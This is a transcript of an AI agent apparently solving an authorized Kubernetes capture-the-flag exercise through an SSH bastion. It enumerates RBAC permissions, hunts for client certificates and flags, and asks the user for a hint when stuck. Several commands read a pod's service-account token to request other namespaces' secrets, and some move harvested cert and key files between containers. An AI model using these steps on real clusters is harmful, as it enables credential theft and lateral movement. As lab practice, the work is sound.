  echo "echo | openssl s_client -connect 10.111.253.191:443 -cert /tmp/mesh.crt -key /tmp/mykey.pem -quiet 2>&1"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -15
Can't use SSL_get_servername
depth=0 CN=gateway.default.svc
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN=gateway.default.svc
verify error:num=21:unable to verify the first certificate
verify return:1
depth=0 CN=gateway.default.svc
verify return:1
40D751AA9A700000:error:0A000418:SSL routines:ssl3_read_bytes:tlsv1 alert unknown ca:../ssl/record/rec_layer_s3.c:918:SSL alert number 48
command terminated with exit code 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 1
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Try using production SA token to read gateway secrets
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "# Check what the production SA can do"
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "curl -sk -H \"Authorization: Bearer \$TOKEN\" https://kubernetes.default.svc/api/v1/namespaces/default/secrets/client-ca-secret 2>&1"
  echo "echo ==="
  echo "curl -sk -H \"Authorization: Bearer \$TOKEN\" https://kubernetes.default.svc/api/v1/namespaces/default/secrets/certs 2>&1"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30
[?2004l
[?2004h> curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v
v1/namespaces/default/secrets/certs 2>&1
[?2004l
[?2004h> '
[?2004l
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "secrets \"client-ca-secret\" is forbidden: User \"system:serviceaccount:production:default\" cannot get resource \"secrets\" in API group \"\" in the namespace \"default\"",
  "reason": "Forbidden",
  "details": {
    "name": "client-ca-secret",
    "kind": "secrets"
  },
  "code": 403
}===
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "secrets \"certs\" is forbidden: User \"system:serviceaccount:production:default\" cannot get resource \"secrets\" in API group \"\" in the namespace \"default\"",
  "reason": "Forbidden",
  "details": {
    "name": "certs",
    "kind": "secrets"
  },
  "code": 403
}[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check additional gateway resources and full default namespace permissions
{
  echo "kubectl get securitypolicies -n default -o yaml 2>&1"
  echo "kubectl get backendtlspolicies -n default -o yaml 2>&1"
  echo "kubectl get httproutes -n backend -o yaml 2>&1"
  echo "kubectl get referencegrants -A -o yaml 2>&1"
  echo "kubectl auth can-i --list -n default 2>&1 | grep -v 'openid\|well-known\|api\|health\|live\|ready\|version\|openapi'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -30
metadata:
  resourceVersion: ""
Error from server (Forbidden): backendtlspolicies.gateway.networking.k8s.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "backendtlspolicies" in API group "gateway.networking.k8s.io" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get httproutes -n backend -o yaml 2>&1
[?2004l
apiVersion: v1
items: []
kind: List
metadata:
  resourceVersion: ""
Error from server (Forbidden): httproutes.gateway.networking.k8s.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "httproutes" in API group "gateway.networking.k8s.io" in the namespace "backend"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get referencegrants -A -o yaml 2>&1
[?2004l
apiVersion: v1
items: []
kind: List
metadata:
  resourceVersion: ""
Error from server (Forbidden): referencegrants.gateway.networking.k8s.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "referencegrants" in API group "gateway.networking.k8s.io" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n default 2>&1 | grep -
-v 'openid\|well-known\|api\|health\|live\|ready\|version\|openapi'
[?2004l
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
namespaces                                      []                                     []               [get watch list]
services                                        []                                     []               [get watch list]
clienttrafficpolicies.gateway.envoyproxy.io     []                                     []               [get watch list]
envoyproxies.gateway.envoyproxy.io              []                                     []               [get watch list]
gateways.gateway.networking.k8s.io              []                                     []               [get watch list]
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Extract full server certificate chain from gateway TLS
{
  echo "export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')"
  echo "echo | openssl s_client -connect \$GWIP:443 -showcerts 2>&1"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -E '(subject|issuer|BEGIN|END|depth|verify|Certificate chain)' | head -20
depth=0 CN = gateway.default.svc
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = gateway.default.svc
verify error:num=21:unable to verify the first certificate
verify return:1
depth=0 CN = gateway.default.svc
verify return:1
Certificate chain
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
subject=CN = gateway.default.svc
issuer=O = Linkerd-CTF, CN = Linkerd-CTF
Verification error: unable to verify the first certificate
Verify return code: 21 (unable to verify the first certificate)
Thinking
$ Bash
Search ALL accessible resources for hidden keys, certs, flags
{
  echo "echo '=== GATEWAY ANNOTATIONS ==='"
  echo "kubectl get gateways -A -o json 2>&1 | grep -i 'annotation\|key\|cert\|secret\|flag' | head -20"
  echo "echo '=== NAMESPACE ANNOTATIONS ==='"
  echo "kubectl get ns -o json 2>&1 | grep -i 'annotation\|key\|cert\|secret\|flag\|hint' | head -20"
  echo "echo '=== ALL SVC DETAILS ==='"
  echo "kubectl get svc -A -o json 2>&1 | grep -i 'key\|cert\|flag\|hint\|clue' | head -20"
  echo "echo '=== ENVOYPROXY ANNOTATIONS ==='"
  echo "kubectl get envoyproxies -A -o json 2>&1 | grep -i 'key\|cert\|flag\|hint' | head -20"
  echo "echo '=== NS LABELS AND ANNOTATIONS ==='"
  echo "kubectl get ns -o yaml 2>&1 | grep -B2 -A5 annotations | head -40"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -40
                    "kubernetes.io/metadata.name": "supersecret"
                "name": "supersecret",
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== ALL SVC DETAILS ==='
[?2004l
=== ALL SVC DETAILS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get svc -A -o json 2>&1 | grep -i 'key\|ce
ert\|flag\|hint\|clue' | head -20
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== ENVOYPROXY ANNOTATIONS ==='
[?2004l
=== ENVOYPROXY ANNOTATIONS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get envoyproxies -A -o json 2>&1 | grep -i
i 'key\|cert\|flag\|hint' | head -20
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== NS LABELS AND ANNOTATIONS ==='
[?2004l
=== NS LABELS AND ANNOTATIONS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get ns -o yaml 2>&1 | grep -B2 -A5 annotat
tions | head -40
[?2004l
  kind: Namespace
  metadata:
    annotations:
      linkerd.io/inject: enabled
    creationTimestamp: "2026-03-25T10:50:41Z"
    labels:
      kubernetes.io/metadata.name: backend
    name: backend
--
  kind: Namespace
  metadata:
    annotations:
      linkerd.io/inject: enabled
    creationTimestamp: "2026-03-25T10:50:41Z"
    labels:
      kubernetes.io/metadata.name: production
    name: production
--
  kind: Namespace
  metadata:
    annotations:
      linkerd.io/inject: enabled
    creationTimestamp: "2026-03-25T10:50:41Z"
    labels:
      kubernetes.io/metadata.name: supersecret
    name: supersecret
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Try production SA to list secrets in envoy-gateway-system and default
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "# Try to read the certs secret from envoy-gateway-system"
  echo "curl -sk -H \"Authorization: Bearer \$TOKEN\" https://kubernetes.default.svc/api/v1/namespaces/envoy-gateway-system/secrets 2>&1 | head -20"
  echo "echo ==="
  echo "curl -sk -H \"Authorization: Bearer \$TOKEN\" https://kubernetes.default.svc/api/v1/namespaces/default/secrets 2>&1 | head -20"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30
[?2004l
[?2004h> curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v
v1/namespaces/envoy-gateway-system/secrets 2>&1 | head -20
[?2004l
[?2004h> echo ===
[?2004l
[?2004h> curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v
v1/namespaces/default/secrets 2>&1 | head -20
[?2004l
[?2004h> '
[?2004l
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "secrets is forbidden: User \"system:serviceaccount:production:default\" cannot list resource \"secrets\" in API group \"\" in the namespace \"envoy-gateway-system\"",
  "reason": "Forbidden",
  "details": {
    "kind": "secrets"
  },
  "code": 403
}===
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "secrets is forbidden: User \"system:serviceaccount:production:default\" cannot list resource \"secrets\" in API group \"\" in the namespace \"default\"",
  "reason": "Forbidden",
  "details": {
    "kind": "secrets"
  },
  "code": 403
}[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check backend and envoy-gateway-system permissions
{
  echo "kubectl auth can-i --list -n backend 2>&1 | grep -v 'openid\|well-known\|api\|health\|live\|ready\|version\|openapi'"
  echo "kubectl auth can-i --list -n envoy-gateway-system 2>&1 | grep -v 'openid\|well-known\|api\|health\|live\|ready\|version\|openapi'"
  echo "echo === CHECK ENVOY GW SPECIFIC ==="
  echo "kubectl auth can-i get secrets -n envoy-gateway-system 2>&1"
  echo "kubectl auth can-i list pods -n envoy-gateway-system 2>&1"
  echo "kubectl auth can-i create pods/exec -n envoy-gateway-system 2>&1"
  echo "kubectl get securitypolicies -n default 2>&1"  
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -25
gateways.gateway.networking.k8s.io              []                                     []               [get watch list]
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n envoy-gateway-system 
 2>&1 | grep -v 'openid\|well-known\|api\|health\|live\|ready\|version\|openapi' 
 2>&1 | grep -v 'openid\|well-known\|api\|health\|live\|ready\|version\|openapi'
[?2004l
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
namespaces                                      []                                     []               [get watch list]
services                                        []                                     []               [get watch list]
clienttrafficpolicies.gateway.envoyproxy.io     []                                     []               [get watch list]
envoyproxies.gateway.envoyproxy.io              []                                     []               [get watch list]
gateways.gateway.networking.k8s.io              []                                     []               [get watch list]
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo === CHECK ENVOY GW SPECIFIC ===
[?2004l
=== CHECK ENVOY GW SPECIFIC ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i get secrets -n envoy-gateway-sy
ystem 2>&1
[?2004l
no
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i list pods -n envoy-gateway-syst
tem 2>&1
[?2004l
no
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i create pods/exec -n envoy-gatew
way-system 2>&1
[?2004l
no
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get securitypolicies -n default 2>&1
[?2004l
Error from server (Forbidden): securitypolicies.gateway.envoyproxy.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "securitypolicies" in API group "gateway.envoyproxy.io" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 1
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check if we can modify ClientTrafficPolicies
{
  echo "kubectl auth can-i update clienttrafficpolicies -n default 2>&1"
  echo "kubectl auth can-i patch clienttrafficpolicies -n default 2>&1"
  echo "kubectl auth can-i create clienttrafficpolicies -n default 2>&1"
  echo "kubectl auth can-i delete clienttrafficpolicies -n default 2>&1"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -E '(yes|no)$'
(Bash completed with no output)
$ Bash
Check CTP write permissions with full resource name
{
  echo "kubectl auth can-i update clienttrafficpolicies.gateway.envoyproxy.io -n default"
  echo "kubectl auth can-i patch clienttrafficpolicies.gateway.envoyproxy.io -n default"
  echo "kubectl auth can-i delete clienttrafficpolicies.gateway.envoyproxy.io -n default"
  echo "kubectl auth can-i create secrets -n default"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | grep -E '(yes|no)'
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l
no
[?2004l
no
[?2004l
no
[?2004l
no
Thinking
$ Bash
Transfer CTP cert/key to debug-tools via kubectl exec stdin and test
# Transfer cert/key to debug-tools via kubectl cp from within the SSH session
# Since kubectl cp might not work (needs tar), let's use base64 in smaller chunks via a helper script
cat > /tmp/transfer_and_curl.sh << 'SCRIPT'
# Write cert to debug-tools container
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -i -- sh -c 'cat > /tmp/client.crt' < /tmp/c.crt
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -i -- sh -c 'cat > /tmp/client.key' < /tmp/c.key
# Verify
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- md5sum /tmp/client.crt /tmp/client.key
# Try curl with the CTP cert from the newer curl in debug-tools
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -svk --http1.1 --cert /tmp/client.crt --key /tmp/client.key https://10.111.253.191/ 2>&1 | tail -15
SCRIPT

# Now run this script on the bastion
{
  cat /tmp/transfer_and_curl.sh
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -25
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -i -- sh -c 'cat > /tmp/client.key' < /tmp/c.key
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# # Verify
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- md5sum /tmp/client.crt /tmp/client.key
[?2004l
fb356d37bd0c93172148580db0857ba9  /tmp/client.crt
0a94de1f463a0995741af86a38976ef5  /tmp/client.key
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# # Try curl with the CTP cert from the newer curl i
in debug-tools
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -svk --http1.1 --cert /tmp/client.crt --key /tmp/clien
nt.key https://10.111.253.191/ 2>&1 | tail -15
[?2004l
*   Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
* Connected to 10.111.253.191 (10.111.253.191) port 443
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1

> Host: 10.111.253.191

> User-Agent: curl/8.14.1

> Accept: */*

> 

{ [5 bytes data]
* TLSv1.3 (IN), TLS alert, unknown CA (560):
{ [2 bytes data]
* OpenSSL SSL_read: OpenSSL/3.5.5: error:0A000418:SSL routines::tlsv1 alert unknown ca, errno 0
* closing connection #0
command terminated with exit code 56
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Search for hidden files on jumppod
{
  echo "find / -maxdepth 3 -name '.*' -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v cache | grep -v run"
  echo "cat /root/.bashrc 2>&1"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -30
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
#if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
#    . /etc/bash_completion
#fi
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
$ Bash
Find hidden dot files excluding common ones
{
  echo "find / -maxdepth 3 -name '.*' -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v cache | grep -v run | grep -v '.bash\|.profile\|.kube'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | grep '\.' | head -20
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
find / -maxdepth 3 -name '.*' -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v cache | grep -v run | grep -v '.bash\|.profile\|.kube'
find / -maxdepth 3 -name '.*' -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v cache | grep -v run | grep -v '.bash\|.profile\|.kube'
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# find / -maxdepth 3 -name '.*' -type f 2>/dev/null 
 | grep -v proc | grep -v sys | grep -v cache | grep -v run | grep -v '.bash\|.pr
rofile\|.kube'
[?2004l
/etc/.pwd.lock
Connection to 35.179.133.134 closed.
Thinking

I'm stuck on the gateway flag (Flag 1). Here's where I am:

What I know: - The Envoy Gateway requires a client cert signed by the O=Linkerd-CTF, CN=Linkerd-CTF CA - The cert+key in the CTP annotation are a decoy — signed by a different CA with the same name (openssl s_client confirms unknown ca) - I successfully got a cert from the Linkerd Identity service (mesh CA), but that's a completely different trust root (root.linkerd.cluster.local) - Can't read any secrets (client-ca-secret, certs) - Can't modify the ClientTrafficPolicy

What I've tried: - CTP annotation cert/key (decoy CA) - Linkerd mesh identity cert (different CA chain) - Checking all accessible resources for hidden certs/keys - Searching the jumppod filesystem - Using production SA token for cross-namespace access

I feel like I'm missing something about how to get a cert signed by the correct CA. Could you give me a nudge on what I'm overlooking?

Let's come back to that one later. For now, challenge 3 is available in /tmp/challenge-3/

$ Bash
Check challenge-3 credentials
ls -la /tmp/challenge-3/ && cat /tmp/challenge-3/simulator_config
total 20
drwxr-xr-x  2 claude claude 4096 Mar 25 11:43 .
drwxrwxrwt 20 root   root   4096 Mar 25 11:42 ..
-rw-------  1 claude claude  167 Mar 25 11:10 simulator_config
-rw-r--r--  1 claude claude  202 Mar 25 11:12 simulator_known_hosts
-rw-------  1 claude claude 3243 Mar 25 11:10 simulator_rsa
Host bastion 18.134.180.16
    Hostname 18.134.180.16
    User player
    RequestTTY force
    IdentityFile simulator_rsa
    UserKnownHostsFile simulator_known_hosts
📝 Write ssh_config
/tmp/challenge-3/ssh_config
Host bastion 18.134.180.16
    Hostname 18.134.180.16
    User player
    RequestTTY force
    IdentityFile /tmp/challenge-3/simulator_rsa
    UserKnownHostsFile /tmp/challenge-3/simulator_known_hosts
File created successfully at: /tmp/challenge-3/ssh_config
$ Bash
Connect to challenge-3 and enumerate
chmod 600 /tmp/challenge-3/simulator_rsa && ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '===MOTD_END==='
kubectl auth whoami 2>&1
echo '===SEP==='
kubectl auth can-i --list 2>&1
echo '===SEP==='
kubectl get ns 2>&1
echo '===SEP==='
kubectl get all -A 2>&1
exit
SSHEOF
 ____  ____  ____   __   __   ____  _  _       __    ____  ____ 
/ ___)(_  _)(  __) / _\ (  ) (_  _)/ )( \ ___ (  )  (  __)(_  _)
\___ \  )(   ) _) /    \/ (_/\ )(  ) __ ((___)/ (_/\ ) _)   )(  
(____/ (__) (____)\_/\_/\____/(__) \_)(_/     \____/(____) (__) 

------------------------------------------------------------
|                                                          |
|     Hidden '/etc/secret's are crossing our skies.        |
|        Let’s find out what’s really going on.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '===MOTD_END==='
kubectl auth whoami 2>&1
echo '===SEP==='
kubectl auth can-i --list 2>&1
echo '===SEP==='
kubectl get ns 2>&1
echo '===SEP==='
kubectl get all -A 2>&1
exit
echo '===MOTD_END==='
kubectl auth whoami 2>&1
echo '===SEP==='
kubectl auth can-i --list 2>&1
echo '===SEP==='
kubectl get ns 2>&1
echo '===SEP==='
kubectl get all -A 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '===MOTD_END==='
[?2004l===MOTD_END===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl auth whoami 2>&1
[?2004lATTRIBUTE                                           VALUE
Username                                            system:serviceaccount:jumphost:jumphost
UID                                                 2a47a217-2b27-402a-9efc-4bcba2606bca
Groups                                              [system:serviceaccounts system:serviceaccounts:jumphost system:authenticated]
Extra: authentication.kubernetes.io/credential-id   [JTI=8d564aa5-723c-4862-830e-a3c8ba6d2a9b]
Extra: authentication.kubernetes.io/node-name       [node-2]
Extra: authentication.kubernetes.io/node-uid        [4a8d6a6c-add8-4d65-8f84-c178c7040c49]
Extra: authentication.kubernetes.io/pod-name        [jumphost-5f66c55446-d5bkl]
Extra: authentication.kubernetes.io/pod-uid         [b255e8a0-036e-498b-a12e-27317db5288a]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl auth can-i --list 2>&1
[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get ns 2>&1
[?2004lError from server (Forbidden): namespaces is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "namespaces" in API group "" at the cluster scope
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get all -A 2>&1
[?2004lError from server (Forbidden): pods is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "pods" in API group "" at the cluster scope
Error from server (Forbidden): replicationcontrollers is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "replicationcontrollers" in API group "" at the cluster scope
Error from server (Forbidden): services is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "services" in API group "" at the cluster scope
Error from server (Forbidden): daemonsets.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "daemonsets" in API group "apps" at the cluster scope
Error from server (Forbidden): deployments.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "deployments" in API group "apps" at the cluster scope
Error from server (Forbidden): replicasets.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "replicasets" in API group "apps" at the cluster scope
Error from server (Forbidden): statefulsets.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "statefulsets" in API group "apps" at the cluster scope
Error from server (Forbidden): horizontalpodautoscalers.autoscaling is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "horizontalpodautoscalers" in API group "autoscaling" at the cluster scope
